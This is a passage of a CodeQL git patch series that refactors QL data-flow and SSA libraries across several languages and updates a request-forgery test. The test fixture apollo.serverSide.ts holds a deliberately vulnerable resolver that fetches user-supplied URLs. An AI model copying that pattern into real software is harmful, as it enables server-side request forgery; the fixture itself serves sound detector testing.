ApiLabel, MkLabelForwardingFunction { override string toString() { result = "getForwardingFunction()" } diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll b/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll index de103ef1c90..06729815e9a 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll @@ -254,6 +254,12 @@ private module Cached { cached predicate invocation(DataFlow::SourceNode func, DataFlow::InvokeNode invoke) { hasLocalSource(invoke.getCalleeNode(), func) + or + exists(ClassDefinition cls, SuperCall call | + hasLocalSource(cls.getSuperClass().flow(), func) and + call.getBinder() = cls.getConstructor().getBody() and + invoke = call.flow() + ) } /** diff --git a/javascript/ql/test/ApiGraphs/spread/VerifyAssertions.expected b/javascript/ql/test/ApiGraphs/spread/VerifyAssertions.expected index 366c66f0763..e69de29bb2d 100644 --- a/javascript/ql/test/ApiGraphs/spread/VerifyAssertions.expected +++ b/javascript/ql/test/ApiGraphs/spread/VerifyAssertions.expected @@ -1,2 +0,0 @@ -| tst.js:15:14:15:101 | /* def= ... r(0) */ | use moduleImport("something").getMember("exports").getMember("m2") has no outgoing edge labelled getParameter(0); it does have outgoing edges labelled getReceiver(), getReturn(). | -| tst.js:16:14:16:101 | /* def= ... r(1) */ | use moduleImport("something").getMember("exports").getMember("m2") has no outgoing edge labelled getParameter(1); it does have outgoing edges labelled getReceiver(), getReturn(). | diff --git a/javascript/ql/test/ApiGraphs/spread/tst.js b/javascript/ql/test/ApiGraphs/spread/tst.js index ebacd48d1f3..67fed3ef13e 100644 --- a/javascript/ql/test/ApiGraphs/spread/tst.js +++ b/javascript/ql/test/ApiGraphs/spread/tst.js @@ -12,8 +12,8 @@ lib.m1({ function getArgs() { return [ - 'x', /* def=moduleImport("something").getMember("exports").getMember("m2").getParameter(0) */ - 'y', /* def=moduleImport("something").getMember("exports").getMember("m2").getParameter(1) */ + 'x', /* def=moduleImport("something").getMember("exports").getMember("m2").getSpreadArgument(0).getArrayElement() */ + 'y', /* def=moduleImport("something").getMember("exports").getMember("m2").getSpreadArgument(0).getArrayElement() */ ] } diff --git a/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected b/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected index 6b33506d502..78b02c5f7db 100644 --- a/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected +++ b/javascript/ql/test/query-tests/Security/CWE-918/RequestForgery.expected @@ -1,5 +1,6 @@ #select | apollo.serverSide.ts:8:39:8:64 | get(fil ... => {}) | apollo.serverSide.ts:7:36:7:44 | { files } | apollo.serverSide.ts:8:43:8:50 | file.url | The $@ of this request depends on a $@. | apollo.serverSide.ts:8:43:8:50 | file.url | URL | apollo.serverSide.ts:7:36:7:44 | { files } | user-provided value | +| apollo.serverSide.ts:18:37:18:62 | get(fil ... => {}) | apollo.serverSide.ts:17:34:17:42 | { files } | apollo.serverSide.ts:18:41:18:48 | file.url | The $@ of this request depends on a $@. | apollo.serverSide.ts:18:41:18:48 | file.url | URL | apollo.serverSide.ts:17:34:17:42 | { files } | user-provided value | | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | axiosInterceptors.serverSide.js:19:21:19:28 | req.body | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | The $@ of this request depends on a $@. | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | endpoint | axiosInterceptors.serverSide.js:19:21:19:28 | req.body | user-provided value | | serverSide.js:18:5:18:20 | request(tainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:18:13:18:19 | tainted | The $@ of this request depends on a $@. | serverSide.js:18:13:18:19 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value | | serverSide.js:20:5:20:24 | request.get(tainted) | serverSide.js:14:29:14:35 | req.url | serverSide.js:20:17:20:23 | tainted | The $@ of this request depends on a $@. | serverSide.js:20:17:20:23 | tainted | URL | serverSide.js:14:29:14:35 | req.url | user-provided value | @@ -31,6 +32,11 @@ edges | apollo.serverSide.ts:8:13:8:17 | files | apollo.serverSide.ts:8:28:8:31 | file | provenance | | | apollo.serverSide.ts:8:28:8:31 | file | apollo.serverSide.ts:8:43:8:46 | file | provenance | | | apollo.serverSide.ts:8:43:8:46 | file | apollo.serverSide.ts:8:43:8:50 | file.url | provenance | | +| apollo.serverSide.ts:17:34:17:42 | files | apollo.serverSide.ts:18:11:18:15 | files | provenance | | +| apollo.serverSide.ts:17:34:17:42 | { files } | apollo.serverSide.ts:17:34:17:42 | files | provenance | | +| apollo.serverSide.ts:18:11:18:15 | files | apollo.serverSide.ts:18:26:18:29 | file | provenance | | +| apollo.serverSide.ts:18:26:18:29 | file | apollo.serverSide.ts:18:41:18:44 | file | provenance | | +| apollo.serverSide.ts:18:41:18:44 | file | apollo.serverSide.ts:18:41:18:48 | file.url | provenance | | | axiosInterceptors.serverSide.js:19:11:19:17 | { url } | axiosInterceptors.serverSide.js:19:11:19:28 | url | provenance | | | axiosInterceptors.serverSide.js:19:11:19:28 | url | axiosInterceptors.serverSide.js:20:23:20:25 | url | provenance | | | axiosInterceptors.serverSide.js:19:21:19:28 | req.body | axiosInterceptors.serverSide.js:19:11:19:17 | { url } | provenance | | @@ -91,6 +97,12 @@ nodes | apollo.serverSide.ts:8:28:8:31 | file | semmle.label | file | | apollo.serverSide.ts:8:43:8:46 | file | semmle.label | file | | apollo.serverSide.ts:8:43:8:50 | file.url | semmle.label | file.url | +| apollo.serverSide.ts:17:34:17:42 | files | semmle.label | files | +| apollo.serverSide.ts:17:34:17:42 | { files } | semmle.label | { files } | +| apollo.serverSide.ts:18:11:18:15 | files | semmle.label | files | +| apollo.serverSide.ts:18:26:18:29 | file | semmle.label | file | +| apollo.serverSide.ts:18:41:18:44 | file | semmle.label | file | +| apollo.serverSide.ts:18:41:18:48 | file.url | semmle.label | file.url | | axiosInterceptors.serverSide.js:11:26:11:40 | userProvidedUrl | semmle.label | userProvidedUrl | | axiosInterceptors.serverSide.js:19:11:19:17 | { url } | semmle.label | { url } | | axiosInterceptors.serverSide.js:19:11:19:28 | url | semmle.label | url | diff --git a/javascript/ql/test/query-tests/Security/CWE-918/apollo.serverSide.ts b/javascript/ql/test/query-tests/Security/CWE-918/apollo.serverSide.ts index 1d6aabd87fa..0f1c4afa554 100644 --- a/javascript/ql/test/query-tests/Security/CWE-918/apollo.serverSide.ts +++ b/javascript/ql/test/query-tests/Security/CWE-918/apollo.serverSide.ts @@ -14,8 +14,8 @@ function createApolloServer(typeDefs) { const resolvers2 = { Mutation: { - downloadFiles: async (_, { files }) => { // $ MISSING: Source[js/request-forgery] - files.forEach((file) => { get(file.url, (res) => {}); }); // $ MISSING: Alert[js/request-forgery] Sink[js/request-forgery] + downloadFiles: async (_, { files }) => { // $ Source[js/request-forgery] + files.forEach((file) => { get(file.url, (res) => {}); }); // $ Alert[js/request-forgery] Sink[js/request-forgery] return true; }, }, From b834ffe246afb01eff645c0049063a68204da6cc Mon Sep 17 00:00:00 2001 From: Asger F Date: Thu, 27 Mar 2025 20:53:32 +0100 Subject: [PATCH 103/282] JS: Fix a bad join order --- javascript/ql/lib/semmle/javascript/ApiGraphs.qll | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll index c53d7e4279c..f7b7a3e96d4 100644 --- a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll @@ -955,12 +955,17 @@ module API { result = min(int i | expr.getArgument(i) instanceof SpreadElement) } + pragma[nomagic] + private InvokeExpr getAnInvocationWithSpread(DataFlow::SourceNode node, int i) { + result = node.getAnInvocation().asExpr() and + i = firstSpreadIndex(result) + } + private predicate spreadArgumentPassing(TApiNode base, int i, DataFlow::Node spreadArray) { exists(DataFlow::Node use, DataFlow::SourceNode pred, int bound, InvokeExpr invoke | use(base, use) and pred = trackUseNode(use, _, bound, "") and - invoke = pred.getAnInvocation().asExpr() and - i = firstSpreadIndex(invoke) and + invoke = getAnInvocationWithSpread(pred, i) and spreadArray = invoke.getArgument(i - bound).(SpreadElement).getOperand().flow() ) } From 1ded4df3fd6d78060a7b22428329c1f6ee69fb59 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 27 Mar 2025 11:35:38 +0100 Subject: [PATCH 104/282] SSA: Add an alternative to ssaDefAssigns/ssaDefInitializesParam. --- shared/ssa/codeql/ssa/Ssa.qll | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll index 47578bee7b9..62dc4230573 100644 --- a/shared/ssa/codeql/ssa/Ssa.qll +++ b/shared/ssa/codeql/ssa/Ssa.qll @@ -1459,6 +1459,15 @@ module Make Input> { ) } + /** + * Holds if `def` has some form of input flow. For example, the right-hand + * side of an assignment or a parameter of an SSA entry definition. + * + * For such definitions, a flow step is added from a synthetic node + * representing the source to the definition. + */ + default predicate ssaDefHasSource(WriteDefinition def) { any() } + /** Holds if SSA definition `def` assigns `value` to the underlying variable. */ predicate ssaDefAssigns(WriteDefinition def, Expr value); @@ -1665,6 +1674,7 @@ module Make Input> { cached private newtype TNode = + TWriteDefSource(WriteDefinition def) { DfInput::ssaDefHasSource(def) } or TParamNode(DfInput::Parameter p) { exists(WriteDefinition def | DfInput::ssaDefInitializesParam(def, p)) } or @@ -1696,6 +1706,22 @@ module Make Input> { final class Node = NodeImpl; + /** A source of a write definition. */ + private class WriteDefSourceNodeImpl extends NodeImpl, TWriteDefSource { + private WriteDefinition def; + + WriteDefSourceNodeImpl() { this = TWriteDefSource(def) } + + /** Gets the underlying definition. */ + WriteDefinition getDefinition() { result = def } + + override string toString() { result = def.toString() } + + override Location getLocation() { result = def.getLocation() } + } + + final class WriteDefSourceNode = WriteDefSourceNodeImpl; + /** A parameter node. */ private class ParameterNodeImpl extends NodeImpl, TParamNode { private DfInput::Parameter p; @@ -1976,6 +2002,9 @@ module Make Input> { */ predicate localFlowStep(SourceVariable v, Node nodeFrom, Node nodeTo, boolean isUseStep) { exists(Definition def | + // Flow from write definition source into SSA definition + nodeFrom = TWriteDefSource(def) + or // Flow from assignment into SSA definition DfInput::ssaDefAssigns(def, nodeFrom.(ExprNode).getExpr()) or @@ -2012,6 +2041,9 @@ module Make Input> { /** Holds if the value of `nodeTo` is given by `nodeFrom`. */ predicate localMustFlowStep(SourceVariable v, Node nodeFrom, Node nodeTo) { exists(Definition def | + // Flow from write definition source into SSA definition + nodeFrom = TWriteDefSource(def) + or // Flow from assignment into SSA definition DfInput::ssaDefAssigns(def, nodeFrom.(ExprNode).getExpr()) or From 4c420c5bae8cf1b2d3ba392a3c08f4d75ba34f0f Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 27 Mar 2025 13:11:40 +0100 Subject: [PATCH 105/282] Java: Switch from ssaDefAssigns/ssaDefInitializesParam to ssaDefHasSource. --- .../java/dataflow/internal/DataFlowNodes.qll | 15 ++++++++++++++- .../code/java/dataflow/internal/SsaImpl.qll | 18 +++++------------- 2 files changed, 19 insertions(+), 14 deletions(-) diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowNodes.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowNodes.qll index 7e1b10f58e3..7778f6ebc35 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowNodes.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowNodes.qll @@ -26,6 +26,14 @@ private predicate deadcode(Expr e) { module SsaFlow { module Impl = SsaImpl::DataFlowIntegration; + private predicate ssaDefAssigns(SsaExplicitUpdate def, Expr value) { + exists(VariableUpdate upd | upd = def.getDefiningExpr() | + value = upd.(VariableAssign).getSource() or + value = upd.(AssignOp) or + value = upd.(RecordBindingVariableExpr) + ) + } + Impl::Node asNode(Node n) { n = TSsaNode(result) or @@ -33,7 +41,12 @@ module SsaFlow { or result.(Impl::ExprPostUpdateNode).getExpr() = n.(PostUpdateNode).getPreUpdateNode().asExpr() or - TExplicitParameterNode(result.(Impl::ParameterNode).getParameter()) = n + exists(Parameter p | + n = TExplicitParameterNode(p) and + result.(Impl::WriteDefSourceNode).getDefinition().(SsaImplicitInit).isParameterDefinition(p) + ) + or + ssaDefAssigns(result.(Impl::WriteDefSourceNode).getDefinition(), n.asExpr()) } predicate localFlowStep(SsaSourceVariable v, Node nodeFrom, Node nodeTo, boolean isUseStep) { diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll index 573f1cb51ea..91750597e2b 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll @@ -649,21 +649,13 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu class Parameter = J::Parameter; - predicate ssaDefAssigns(Impl::WriteDefinition def, Expr value) { - exists(VariableUpdate upd | upd = def.(SsaExplicitUpdate).getDefiningExpr() | - value = upd.(VariableAssign).getSource() or - value = upd.(AssignOp) or - value = upd.(RecordBindingVariableExpr) - ) + predicate ssaDefHasSource(WriteDefinition def) { + def instanceof SsaExplicitUpdate or def.(SsaImplicitInit).isParameterDefinition(_) } - predicate ssaDefInitializesParam(Impl::WriteDefinition def, Parameter p) { - def.(SsaImplicitInit).getSourceVariable() = - any(SsaSourceVariable v | - v.getVariable() = p and - v.getEnclosingCallable() = p.getCallable() - ) - } + predicate ssaDefAssigns(Impl::WriteDefinition def, Expr value) { none() } + + predicate ssaDefInitializesParam(Impl::WriteDefinition def, Parameter p) { none() } predicate allowFlowIntoUncertainDef(UncertainWriteDefinition def) { def instanceof SsaUncertainImplicitUpdate From dafed9f465213683f31d7c81d5c520e469859417 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 27 Mar 2025 13:12:17 +0100 Subject: [PATCH 106/282] Rust: Remove dead code. --- rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll | 6 ------ 1 file changed, 6 deletions(-) diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll index d0c60dc8d51..f0f25d41264 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/DataFlowImpl.qll @@ -172,10 +172,6 @@ predicate isArgumentForCall(ExprCfgNode arg, CallExprBaseCfgNode call, Parameter module SsaFlow { private module SsaFlow = SsaImpl::DataFlowIntegration; - private ParameterNode toParameterNode(ParamCfgNode p) { - result.(SourceParameterNode).getParameter() = p - } - /** Converts a control flow node into an SSA control flow node. */ SsaFlow::Node asNode(Node n) { n = TSsaNode(result) @@ -183,8 +179,6 @@ module SsaFlow { result.(SsaFlow::ExprNode).getExpr() = n.asExpr() or result.(SsaFlow::ExprPostUpdateNode).getExpr() = n.(PostUpdateNode).getPreUpdateNode().asExpr() - or - n = toParameterNode(result.(SsaFlow::ParameterNode).getParameter()) } predicate localFlowStep( From 8aedd63b9ef6c4ffda6fffe6b54278eb4ea212a4 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 27 Mar 2025 13:12:34 +0100 Subject: [PATCH 107/282] Rust: Add ssaDefHasSource. --- rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll | 2 ++ 1 file changed, 2 insertions(+) diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll index 446a35ac68e..fe88826e055 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll @@ -340,6 +340,8 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu Expr getARead(Definition def) { result = Cached::getARead(def) } + predicate ssaDefHasSource(WriteDefinition def) { none() } // handled in `DataFlowImpl.qll` instead + /** Holds if SSA definition `def` assigns `value` to the underlying variable. */ predicate ssaDefAssigns(WriteDefinition def, Expr value) { none() // handled in `DataFlowImpl.qll` instead From 25297cb2b6650ce55f4f2d0b52c454ea8760f14c Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 27 Mar 2025 15:21:48 +0100 Subject: [PATCH 108/282] Ruby: Switch from ssaDefAssigns/ssaDefInitializesParam to WriteDefSourceNode. --- .../lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll | 7 ++++++- ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll | 6 ++---- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll index baf36bd9639..da0c0379717 100644 --- a/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll +++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/DataFlowPrivate.qll @@ -108,7 +108,12 @@ module SsaFlow { or result.(Impl::ExprPostUpdateNode).getExpr() = n.(PostUpdateNode).getPreUpdateNode().asExpr() or - n = toParameterNode(result.(Impl::ParameterNode).getParameter()) + exists(SsaImpl::ParameterExt p | + n = toParameterNode(p) and + p.isInitializedBy(result.(Impl::WriteDefSourceNode).getDefinition()) + ) + or + result.(Impl::WriteDefSourceNode).getDefinition().(Ssa::WriteDefinition).assigns(n.asExpr()) } predicate localFlowStep( diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll index 89677990b8b..57098b5bcdd 100644 --- a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll +++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll @@ -481,11 +481,9 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu Expr getARead(Definition def) { result = Cached::getARead(def) } - predicate ssaDefAssigns(WriteDefinition def, Expr value) { - def.(Ssa::WriteDefinition).assigns(value) - } + predicate ssaDefAssigns(WriteDefinition def, Expr value) { none() } - predicate ssaDefInitializesParam(WriteDefinition def, Parameter p) { p.isInitializedBy(def) } + predicate ssaDefInitializesParam(WriteDefinition def, Parameter p) { none() } class Guard extends Cfg::CfgNodes::AstCfgNode { /** From d8e14a6b5545aacad2c387468591f20568dc4711 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 27 Mar 2025 15:24:20 +0100 Subject: [PATCH 109/282] JS: Add ssaDefHasSource. --- .../semmle/javascript/dataflow/internal/sharedlib/Ssa.qll | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll b/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll index cb5757ab30d..9de4be22f5b 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll @@ -56,6 +56,11 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig { predicate hasCfgNode(js::BasicBlock bb, int i) { this = bb.getNode(i) } } + predicate ssaDefHasSource(WriteDefinition def) { + // This library only handles use-use flow after a post-update, there are no definitions, only uses. + none() + } + predicate ssaDefAssigns(WriteDefinition def, Expr value) { // This library only handles use-use flow after a post-update, there are no definitions, only uses. none() From 6e9ebca977d3a0aec52af14830271c0bb4a1ad96 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 27 Mar 2025 15:32:11 +0100 Subject: [PATCH 110/282] C#: Switch from ssaDefAssigns/ssaDefInitializesParam to ssaDefHasSource. --- .../code/csharp/dataflow/internal/DataFlowPrivate.qll | 2 +- .../lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll | 8 +++++++- 2 files changed, 8 insertions(+), 2 deletions(-) diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll index c5e915b0535..ff2bf709251 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll @@ -506,7 +506,7 @@ module SsaFlow { result.(Impl::ExprPostUpdateNode).getExpr() = n.(PostUpdateNode).getPreUpdateNode().(ExprNode).getControlFlowNode() or - result.(Impl::ParameterNode).getParameter() = n.(ExplicitParameterNode).getSsaDefinition() + result.(Impl::WriteDefSourceNode).getDefinition() = n.(ExplicitParameterNode).getSsaDefinition() } predicate localFlowStep(Ssa::SourceVariable v, Node nodeFrom, Node nodeTo, boolean isUseStep) { diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll index 420cf518e80..4ca00bfcc6e 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll @@ -1023,6 +1023,12 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu Expr getARead(Definition def) { exists(getAReadAtNode(def, result)) } + predicate ssaDefHasSource(WriteDefinition def) { + // exclude flow directly from RHS to SSA definition, as we instead want to + // go from RHS to matching assignable definition, and from there to SSA definition + def instanceof Ssa::ImplicitParameterDefinition + } + predicate ssaDefAssigns(WriteDefinition def, Expr value) { // exclude flow directly from RHS to SSA definition, as we instead want to // go from RHS to matching assingnable definition, and from there to SSA definition @@ -1031,7 +1037,7 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu class Parameter = Ssa::ImplicitParameterDefinition; - predicate ssaDefInitializesParam(WriteDefinition def, Parameter p) { def = p } + predicate ssaDefInitializesParam(WriteDefinition def, Parameter p) { none() } /** * Allows for flow into uncertain defintions that are not call definitions, From 308d15401fb73453b2463e00f6edc19273915a19 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 27 Mar 2025 15:38:19 +0100 Subject: [PATCH 111/282] C++: Add ssaDefHasSource. --- .../lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll | 2 ++ 1 file changed, 2 insertions(+) diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll index 9cf8f8806a2..52b20739af2 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll @@ -977,6 +977,8 @@ private module DataFlowIntegrationInput implements SsaImpl::DataFlowIntegrationI ) } + predicate ssaDefHasSource(SsaImpl::WriteDefinition def) { none() } + predicate ssaDefAssigns(SsaImpl::WriteDefinition def, Expr value) { none() } class Parameter extends Void { From 5a986f532777643d3b0e111eac324c8c72babcdb Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 27 Mar 2025 16:03:00 +0100 Subject: [PATCH 112/282] SSA: Remove empty predicates and dead code. --- .../cpp/ir/dataflow/internal/SsaInternals.qll | 10 --- .../code/csharp/dataflow/internal/SsaImpl.qll | 10 --- .../code/java/dataflow/internal/SsaImpl.qll | 6 -- .../dataflow/internal/sharedlib/Ssa.qll | 12 ---- .../codeql/ruby/dataflow/internal/SsaImpl.qll | 6 -- .../codeql/rust/dataflow/internal/SsaImpl.qll | 12 ---- shared/ssa/codeql/ssa/Ssa.qll | 61 +------------------ 7 files changed, 3 insertions(+), 114 deletions(-) diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll index 52b20739af2..202d3fa32c8 100644 --- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll +++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternals.qll @@ -956,8 +956,6 @@ class GlobalDef extends Definition { private module SsaImpl = SsaImplCommon::Make; private module DataFlowIntegrationInput implements SsaImpl::DataFlowIntegrationInputSig { - private import codeql.util.Void - class Expr extends Instruction { Expr() { exists(IRBlock bb, int i | @@ -979,14 +977,6 @@ private module DataFlowIntegrationInput implements SsaImpl::DataFlowIntegrationI predicate ssaDefHasSource(SsaImpl::WriteDefinition def) { none() } - predicate ssaDefAssigns(SsaImpl::WriteDefinition def, Expr value) { none() } - - class Parameter extends Void { - Location getLocation() { none() } - } - - predicate ssaDefInitializesParam(SsaImpl::WriteDefinition def, Parameter p) { none() } - predicate allowFlowIntoUncertainDef(SsaImpl::UncertainWriteDefinition def) { any() } private EdgeKind getConditionalEdge(boolean branch) { diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll index 4ca00bfcc6e..ad7a2aba911 100644 --- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll +++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll @@ -1029,16 +1029,6 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu def instanceof Ssa::ImplicitParameterDefinition } - predicate ssaDefAssigns(WriteDefinition def, Expr value) { - // exclude flow directly from RHS to SSA definition, as we instead want to - // go from RHS to matching assingnable definition, and from there to SSA definition - none() - } - - class Parameter = Ssa::ImplicitParameterDefinition; - - predicate ssaDefInitializesParam(WriteDefinition def, Parameter p) { none() } - /** * Allows for flow into uncertain defintions that are not call definitions, * as we, conservatively, consider such definitions to be certain. diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll index 91750597e2b..b5a42a97569 100644 --- a/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll +++ b/java/ql/lib/semmle/code/java/dataflow/internal/SsaImpl.qll @@ -647,16 +647,10 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu Expr getARead(Definition def) { result = getAUse(def) } - class Parameter = J::Parameter; - predicate ssaDefHasSource(WriteDefinition def) { def instanceof SsaExplicitUpdate or def.(SsaImplicitInit).isParameterDefinition(_) } - predicate ssaDefAssigns(Impl::WriteDefinition def, Expr value) { none() } - - predicate ssaDefInitializesParam(Impl::WriteDefinition def, Parameter p) { none() } - predicate allowFlowIntoUncertainDef(UncertainWriteDefinition def) { def instanceof SsaUncertainImplicitUpdate } diff --git a/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll b/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll index 9de4be22f5b..adc4a79dd04 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/internal/sharedlib/Ssa.qll @@ -61,18 +61,6 @@ module SsaDataflowInput implements DataFlowIntegrationInputSig { none() } - predicate ssaDefAssigns(WriteDefinition def, Expr value) { - // This library only handles use-use flow after a post-update, there are no definitions, only uses. - none() - } - - class Parameter = js::Parameter; - - predicate ssaDefInitializesParam(WriteDefinition def, Parameter p) { - // This library only handles use-use flow after a post-update, there are no definitions, only uses. - none() - } - cached Expr getARead(Definition def) { // Copied from implementation so we can cache it here diff --git a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll index 57098b5bcdd..b34577602f7 100644 --- a/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll +++ b/ruby/ql/lib/codeql/ruby/dataflow/internal/SsaImpl.qll @@ -473,18 +473,12 @@ class ParameterExt extends TParameterExt { private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInputSig { private import codeql.ruby.controlflow.internal.Guards as Guards - class Parameter = ParameterExt; - class Expr extends Cfg::CfgNodes::ExprCfgNode { predicate hasCfgNode(SsaInput::BasicBlock bb, int i) { this = bb.getNode(i) } } Expr getARead(Definition def) { result = Cached::getARead(def) } - predicate ssaDefAssigns(WriteDefinition def, Expr value) { none() } - - predicate ssaDefInitializesParam(WriteDefinition def, Parameter p) { none() } - class Guard extends Cfg::CfgNodes::AstCfgNode { /** * Holds if the control flow branching from `bb1` is dependent on this guard, diff --git a/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll b/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll index fe88826e055..dcfe4f0edaf 100644 --- a/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll +++ b/rust/ql/lib/codeql/rust/dataflow/internal/SsaImpl.qll @@ -342,11 +342,6 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu predicate ssaDefHasSource(WriteDefinition def) { none() } // handled in `DataFlowImpl.qll` instead - /** Holds if SSA definition `def` assigns `value` to the underlying variable. */ - predicate ssaDefAssigns(WriteDefinition def, Expr value) { - none() // handled in `DataFlowImpl.qll` instead - } - private predicate isArg(CfgNodes::CallExprBaseCfgNode call, CfgNodes::ExprCfgNode e) { call.getArgument(_) = 